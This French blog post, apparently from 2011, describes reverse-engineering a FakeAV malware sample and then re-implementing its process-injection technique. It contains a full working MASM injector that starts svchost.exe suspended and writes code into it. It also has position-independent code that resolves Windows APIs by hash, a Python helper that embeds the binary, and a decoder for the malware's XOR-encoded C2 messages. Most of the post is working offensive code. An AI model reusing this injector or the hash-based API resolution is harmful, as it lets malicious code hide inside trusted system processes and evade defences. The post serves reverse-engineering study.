21/07/2011

Faire du re et apprendre des choses

Introduction

L'autre jour sur IRC, on me balance un link vers un VX qui aboutit sur le download d'un FakeAV.
Le truc fun quand j'ai reverse la bête, j'ai appris une technique d'injection dans un processus qui est oldschool mais n'étant pas expert dans la matière, j'ai voulu la recoder.

Injection

Voici un extrait du disas commenté :

00403ACE  |.  FF90 70080000 CALL DWORD PTR DS:[EAX+870]              ;  kernel32.CreateProcessA
00403AD4  |.  85C0          TEST EAX,EAX
00403AD6  |.  0F84 9C000000 JE usps.00403B78
00403ADC  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403AE1  |.  53            PUSH EBX
00403AE2  |.  57            PUSH EDI
00403AE3  |.  FF90 74080000 CALL DWORD PTR DS:[EAX+874]              ;  kernel32.GetModuleHandleA
00403AE9  |.  8BF0          MOV ESI,EAX
00403AEB  |.  8B46 3C       MOV EAX,DWORD PTR DS:[ESI+3C]
00403AEE  |.  8B5C30 50     MOV EBX,DWORD PTR DS:[EAX+ESI+50]
00403AF2  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403AF7  |.  6A 40         PUSH 40                                  ;  flProtect = PAGE_EXECUTE_READWRITE
00403AF9  |.  68 00300000   PUSH 3000                                ;  flAllocationType = MEM_COMMIT | MEM_RESERVE
00403AFE  |.  53            PUSH EBX                                 ;  dwSize = 0xE000
00403AFF  |.  56            PUSH ESI                                 ;  lpAddress = 0x00400000
00403B00  |.  FF75 EC       PUSH DWORD PTR SS:[EBP-14]               ;  hProcess = PROCESS_INFORMATION->hProcess
00403B03  |.  FF90 78080000 CALL DWORD PTR DS:[EAX+878]              ;  kernel32.VirtualAllocEx
00403B09  |.  3BC7          CMP EAX,EDI
00403B0B  |.  74 60         JE SHORT usps.00403B6D
00403B0D  |.  8D4D E8       LEA ECX,DWORD PTR SS:[EBP-18]
00403B10  |.  51            PUSH ECX                                 ;  *lpNumberOfBytesWritten = 0x00B8FC6C
00403B11  |.  53            PUSH EBX                                 ;  nSize = 0xE000
00403B12  |.  56            PUSH ESI                                 ;  lpBuffer = 0x00400000
00403B13  |.  50            PUSH EAX                                 ;  lpBaseAddress = 0x00400000
00403B14  |.  FF75 EC       PUSH DWORD PTR SS:[EBP-14]               ;  hProcess = PROCESS_INFORMATION->hProcess
00403B17  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403B1C  |.  FF90 88080000 CALL DWORD PTR DS:[EAX+888]              ;  kernell32.WriteProcessMemory
00403B22  |.  8D85 D4FBFFFF LEA EAX,DWORD PTR SS:[EBP-42C]
00403B28  |.  50            PUSH EAX                                 ;  lpContext = 0x00B8F858
00403B29  |.  FF75 F0       PUSH DWORD PTR SS:[EBP-10]               ;  hThread = PROCESS_INFORMATION->hThread
00403B2C  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403B31  |.  FF90 84080000 CALL DWORD PTR DS:[EAX+884]              ;  kernel32.GetThreadContext
00403B37  |.  8D85 D4FBFFFF LEA EAX,DWORD PTR SS:[EBP-42C]
00403B3D  |.  50            PUSH EAX                                 ;  lpContext = 0x00B8F858
00403B3E  |.  FF75 F0       PUSH DWORD PTR SS:[EBP-10]               ;  hThread = 0xC0
00403B41  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403B46  |.  C785 8CFCFFFF>MOV DWORD PTR SS:[EBP-374],usps.00402EF5 ;  lpContext->Eip = 0x00402EF5 ( OEP )
00403B50  |.  FF90 80080000 CALL DWORD PTR DS:[EAX+880]              ;  kernel32.SetThreadContext
00403B56  |.  FF75 F0       PUSH DWORD PTR SS:[EBP-10]               ;  hThread = PROCESS_INFORMATION->hThread
00403B59  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403B5E  |.  FF90 7C080000 CALL DWORD PTR DS:[EAX+87C]              ;  kernel32.ResumeThread 

La méthode est toute simple :

A partir de là, j'étais en mesure de pouvoir réecrire la chose, seul soucis lorsque je vais injecter du code dans le processus cible, il va falloir que je resolv à la main les adresses des API dont j'ai besoin. (reconstruction d'IAT à l'éxécution).

Éxecutable injecté

Le code injecté est assez fun, je vais résoudre l'adresse de kernel32.dll, chercher l'adresse de la table de fonction, puis me balader sur la table de noms de fonctions, et calculer un hash pour chaque nom, que je comparerais avec un hash précalculé pour l'API que je désire appeler.
Dans l'exemple ici, j'affiche juste un message "It Works", donc je load User32.dll et fait un appel à MessageBoxA.
Bref le code parlera mieux de lui même :

.386
.model flat,stdcall
option casemap:none 
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib


assume fs:nothing

.code
start:

	 cld
	 xor	edx, edx
	 ;; Get address of kernel32.dll
	 mov    edx, fs:[edx + 30h]  
	 mov    edx, [edx + 0Ch]

	 mov    edx, [edx + 14h]
next_mod:

	 mov	esi, [edx + 028h]
	 mov 	ecx, 24

	 xor 	edi, edi
loop_modname:
	 xor	eax, eax
         lodsb
	 cmp	al, 'a' 
         jl 	not_lowercase
	 sub 	al, 020h

not_lowercase:
	 ror	edi, 13
         add 	edi, eax
	 loop 	loop_modname
	 cmp 	edi, 6A4ABC5Bh
         mov 	ebx, [edx + 10h]
	 mov 	edx, [edx]
	 jne 	next_mod

  
	 mov	eax, ebx
	 push 	ebx
	 push 	offset Addrkernel32
	 push 	offset Afonction
	 push 	offset Namefunc
	 push 	offset Aordinal
	 call 	filladdr 
  	   
	 lea		edi, Nuser
	 call		load_dll
	   
	 push	eax
	 push 	offset Addruser32
	 push 	offset Afunuser32
	 push 	offset Nfunuser32
	 push 	offset Aorduser32
	 call 	filladdr 

	 push 	30h
	 push	offset Message
	 push	offset Message
	 push 	0
	 push 	4
	 push 	[Addruser32]
	 push 	[Nfunuser32]
	 push 	[Aorduser32]
	 push 	[Afunuser32]
	 push 	[HMessageBox]
	 call 	callapi
	   
	 jmp	exit
	   
;; -------------------------
;; Function : load_dll
;; Description : Load the desired dll
;; Parameters : EDI = Crypted name of the dll
;; Output : Eax = Adress of the loaded dll
;; -------------------------
load_dll:
	 push	      ebp
	 mov	      ebp, esp

	 push	      edi
	 push 	      1
	 push 	      [Addrkernel32]
	 push 	      [Namefunc]
	 push 	      [Aordinal]
	 push 	      [Afonction]
	 push 	      [HLoadLibrary]
	 call 	      callapi
	 leave
	 ret	

;; -------------------------
;; Function : strlen
;; Description : Compute the length of a string
;; -------------------------------  
strlen:
	 push	      edi
	 mov	      edi, dword ptr[esp + 08]

	 push 	      edi
	 xor 	      eax, eax
symbol:
	 scas	byte ptr[edi]
	 jne 	symbol
	 xchg 	eax, edi
	 dec 	eax
	 pop 	edi
	 sub 	eax, edi
	 pop 	edi
	 ret
	 

;; -------------------------------
;; Function : xCRC32
;; Description : Calcul CRC32 for the desired string	
;; Parameters :
;; 	       - String
;; 	       - Length of the string
;; --------------------------------	
xCRC32:
	 pushad
	 mov     ebp,esp
	 xor     eax,eax
	 mov     edx,dword ptr [ebp+24h]
	 mov     ecx,dword ptr [ebp+28h]
	 jecxz   @4
	 dec     eax
@1:
	 xor     al, byte ptr [edx]
       	 inc     edx
	 push    08
	 pop     ebx
@2:
       	 shr     eax,1
	 jnc     @3
	 push    edx
	 push    ecx
	 mov     ecx, 0EDB8h
	 mov     edx, eax
	 shr     eax, 16
	 xor     eax, ecx
	 mov     ecx, 08320h
	 xor     edx, ecx
	 and     edx, 0ffffh
	 shl     eax, 16
	 or	 eax, edx
	 pop     ecx
	 pop     edx
@3:
         dec     ebx
	 jnz     @2
	 loop    @1
	 not     eax
@4:
         mov     dword ptr [ebp + 1Ch], eax
         popad
         ret	
       
;; -------------------------------
;; Function   : callapi
;; Description : Function for calling the desired api with all her arguments 
;; Parameters :
;; - Push all the arguments for the further called api
;; - Number of arguments for the further called api
;;   - Adress of the desired dll
;;   - Adress of name table of the desired dll
;;   - Adress of ordinal table of the desired dll
;;   - Adress of function table of the desired dll
;;   - Hash (CRC32) of the desired api to call
;;
;; -------------------------------
callapi:
	 push	ebp
	 mov   ebp,esp
	 mov   ecx,dword ptr [ebp + 01Ch]  ; Number of args
	 add   ecx, 7
load:
	 mov   edx,dword ptr [ebp + 4 * ecx]
	 push  edx
	 dec   ecx
	 cmp   ecx, 7
	 jne   load
	 mov   edx, dword ptr [ebp + 018h] ; Addr dll
	 mov   esi, dword ptr [ebp + 014h] 	   ; Addr Name func
	 xor   ecx, ecx
gob:
	 lodsd
	 add   eax, edx
	 mov   edi, eax
comb:
	 push  edx
	 lea   edi, [edi]
	 push  edi
	 call  strlen
	 pop   edi
	 mov   edx, eax
	 push  edx
	 push  edi
	 call  xCRC32
	 pop   edi
	 pop   edx
	 cmp   eax, dword ptr [ebp + 08h]  ; HashApi

	 pop   edx
	 je	   goob
	 jmp   nexte
nexte:
	 inc   ecx
	 jmp   gob
goob:
	 shl   ecx, 1
	 add   ecx, dword ptr [ebp + 010h]  ; Addrordinal
	 xor   eax, eax
	 mov   ax, word ptr [ecx]
	 shl   eax, 2
	 add   eax, dword ptr [ebp + 0Ch]  ; Addrfonction
	 mov   eax, [eax]
	 add   eax, edx
	 call  eax
	 pop   ebp
	 ret	
	 
;; -------------------------------
;; Function : filladdr
;; Description : usefull function for filling all information about a dll 
;; Parameters :
;; 	       - Addr of "ms-dos" header of the desired dll
;; 	       - Ptr to addr of name table
;; 	       - Ptr to addr of ordinal table
;; 	       - Ptr to addr of function table
;; --------------------------------
filladdr:
	 push	ebp
	 mov     ebp,esp
	 mov     ecx, dword ptr [ebp + 018h]
	 mov     ecx, [ecx + 03Ch]
	 add     ecx, dword ptr [ebp + 018h]
	 cmp     word ptr [ecx], 'EP'
	 jnz     exit
	 ;; Save Header addr
	 mov	edi, dword ptr[ebp + 014h]
	 mov 	[edi], eax
	 mov	edx, [ecx + 78h]
	 add 	edx, eax
	 mov 	ebx, [edx + 1ch]
	 add 	ebx, eax
	 ;; Save fun addr
	 mov	edi, dword ptr[ebp + 010h]
	 mov 	[edi], ebx
	 mov 	ebx, [edx + 20h]
	 add 	ebx, eax
	 ;; Save Name fun addr
	 mov   edi, dword ptr[ebp + 0Ch]
	 mov   [edi], ebx
	 mov   ebx, [edx + 24h]
	 add   ebx, eax
	 ;; Save ordinal addr
	 mov  edi, dword ptr[ebp + 08h]
	 mov  [edi], ebx
	 pop  ebp
	 ret

exit:
;; Exit(0)
	 push	0
	 push 	1
	 push 	[Addrkernel32]

	 push 	[Namefunc]
	 push 	[Aordinal]
	 push 	[Afonction]

	 push 	[HExitProcess]
	 call 	callapi						



;; Address of kernel32.dll	
Addrkernel32   		dd	0
;; Adress of function table in kernel32.dll				
Afonction 		dd 	0
;; Adress of name function table in kernel32.dll			
Namefunc  	        dd 	0
;; Adress of ordinal's table in kernel32.dll				
Aordinal  	        dd 	0

;; Address of user32.dll
Addruser32		dd	0
;; Adress of function table in user32.dll
Afunuser32	       	dd	0

;; Adress of name function table in user32.dll
Nfunuser32	   	dd	0
;; Adress of ordinal's table in user32.dll
Aorduser32		dd	0 
	      

Nuser			db	"user32.dll", 0 

;; Hash for kernel32.dll
HLoadLibrary    dd	03FC1BD8Dh
HExitProcess   	dd	0251097CCh

;; Hash for user32.dll
HMessageBox	dd	0572D5D8Eh
				 
Message		db	"It Works !", 0 

end start

Le makefile qui va avec :

@echo off

if exist "creepy.obj" del "creepy.obj"
if exist "creepy.exe" del "creepy.exe"

\masm32\bin\ml /c /coff "creepy.asm"
if errorlevel 1 goto end

\masm32\bin\Link /SUBSYSTEM:WINDOWS /SECTION:.text,erw /BASE:0x400000 "creepy.obj"
 if errorlevel 1 goto end

:end
pause

Nous avons donc notre programme qui va être injecté, il nous faut le programme pour l'injecter mais avant j'ai écrit un script python pour transformer le binaire injecté en variable pour masm, afin de pouvoir l'inclure dans mon programme :

out = open("creepy_exe.asm", "w")
i = 0

count = 0
f = open ("creepy.exe", "rb" )

out.write("creepy db ")
while (1):
    tampon = f.read(1)

    if tampon == "":
        break
    i = i + 1 
    if i % 8 == 0:    
        s = "0%02Xh\n" % ord(tampon)

    else:
        s = "0%02Xh, " % ord(tampon)

    out.write(s)
    count = count + 1

    if i % 8 == 0:
        out.write("\tdb\t")

        i = 0
out.write("000h")  
print "COUNT =", count        

Voilà il ne reste plus qu'à coder l'injecteur :

.386
.model flat, stdcall
assume fs:nothing
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib


.data
include	creepy_exe.asm
scr      					db	"\svchost.exe", 0
len_code					dd	1536
oep_foffset					dd	200h
oep						dd 00401000h

.data?
SystemDir   db 256 dup(?)
Bwritten    dd ? 
Ctx         CONTEXT <?>
SuInfo      STARTUPINFO <?>
PrcInfo     PROCESS_INFORMATION <?>

.code

start:
invoke		GetSystemDirectory, addr SystemDir, sizeof SystemDir
invoke 		lstrcat, addr SystemDir, addr scr
invoke 		CreateProcess, NULL, addr SystemDir, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, addr SuInfo,addr PrcInfo
invoke          VirtualAllocEx, PrcInfo.hProcess, oep, len_code, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov		eax, len_code
sub		eax, oep_foffset
mov		ebx, offset creepy
add		ebx, oep_foffset
invoke          WriteProcessMemory, PrcInfo.hProcess, oep, ebx, eax, Bwritten
mov 		Ctx.ContextFlags, CONTEXT_FULL
invoke 	 	GetThreadContext, PrcInfo.hThread, addr Ctx
push		oep
pop         	Ctx.regEax
invoke 	 	SetThreadContext, PrcInfo.hThread, addr Ctx
invoke		ResumeThread, PrcInfo.hThread
invoke 		ExitProcess, 0 

end start

Voilà, la bêtise que j'ai ecrite récemment et qui m'a bien amusé.

Bonus

Just for the lulz, en reversant le malware il communiquait avec un serveur distant à l'aide du format XML. J'ai écrit un petit script python pour voir les communications :

import base64

def decrypt(s):
    res = ""

    for c in s:
        res += chr(ord(c) ^ 0x53)

    print res

ch1 = "HBhvITw8J21jbycgKj0wczo3bnRiYGJiYmFjY2RqdHxtb3whPDwnbQ=="
ch2 = """byE8PCdtbzE6PTU8czo3bnRgYGVqZGFgYGpidHM9J250Y3RzMSVudGd
         9ZXRzPydudB8SHXRzPCBudAQ6PTc8JCBzCwNzAyE8NTYgIDo8PTI/c3
         Rtc298MTo9NTxtb3whPDwnbQ=="""

ch3 = "byE8PCdtbyM6PTRzOjdudGBgZWpkYWBgamJ0fG1vfCE8PCdt"

f = open('527069638.dat', 'r')

s = f.read()

decrypt(s)
decrypt(base64.b64decode(ch1))

decrypt(base64.b64decode(ch2))
decrypt(base64.b64decode(ch3))

Output :

<?xml version="1.0"?>

<root/>


OK<root>0<tsync id='3369723391'/></root>
<root><binfo id='3369723391' nt='0' bv='4.6' lt='LAN' os='Windows XP Professional '> </binfo></root>
<root><ping id='3369723391'/></root>